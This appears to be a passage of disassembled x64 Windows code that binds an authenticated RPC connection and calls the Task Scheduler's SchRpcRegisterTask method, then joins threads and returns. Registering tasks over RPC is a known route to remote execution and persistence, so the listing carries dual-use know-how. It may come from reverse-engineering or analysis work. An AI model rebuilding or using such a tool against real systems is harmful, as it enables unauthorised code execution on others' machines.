lea r8d, [rdx + 6]
mov rcx, qword [rbp + 0x29a0]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExA]
lea rcx, [rbp + 0x29a8]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test eax, eax
je 0x140003ad0
mov edx, eax
lea rcx, str.RpcStringFree__0x_x_n
call fcn.140001ca0
mov rbx, qword [rbp + 0x29a0]
mov qword [rbp - 0x50], r13
mov qword [rbp + 0x29b8], r13
mov r8, r14
mov edx, 0x1000
lea rcx, [rbp + 0x950]
call fcn.140001c40
lea rax, [rbp + 0x29b8]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], r13
mov dword [rsp + 0x48], r13d
mov dword [rsp + 0x40], r13d
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], 2
lea rax, [rbp + 0x950]
mov qword [rsp + 0x28], rax
lea rax, str.Corp
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [0x140006ae0]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov dword [0x14000d1b8], eax
test eax, eax
js 0x140003b75
lea rdx, [0x14000a7f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004060
jmp 0x140003b83
mov edx, eax
lea rcx, str.SchRpcRegisterTask_Error_Code:__ld
call fcn.140001ca0
call fcn.140002950
cmp dword [rbp - 0x68], 0
je 0x140003c19
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp - 0x68], eax
je 0x140003c0d
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140003c01
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
cmp dword [rbp - 0x58], eax
je 0x140003c19
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp - 0x58], eax
je 0x140003c0d
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140003c01
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x60], xmm0
cmp dword [rbp - 0x68], eax
je 0x140003bff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
jmp 0x140003c68
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x58], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rdx, [0x14000a928]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004060
mov rcx, rax
lea rdx, [0x140004230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
add rsp, 0x2a58
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret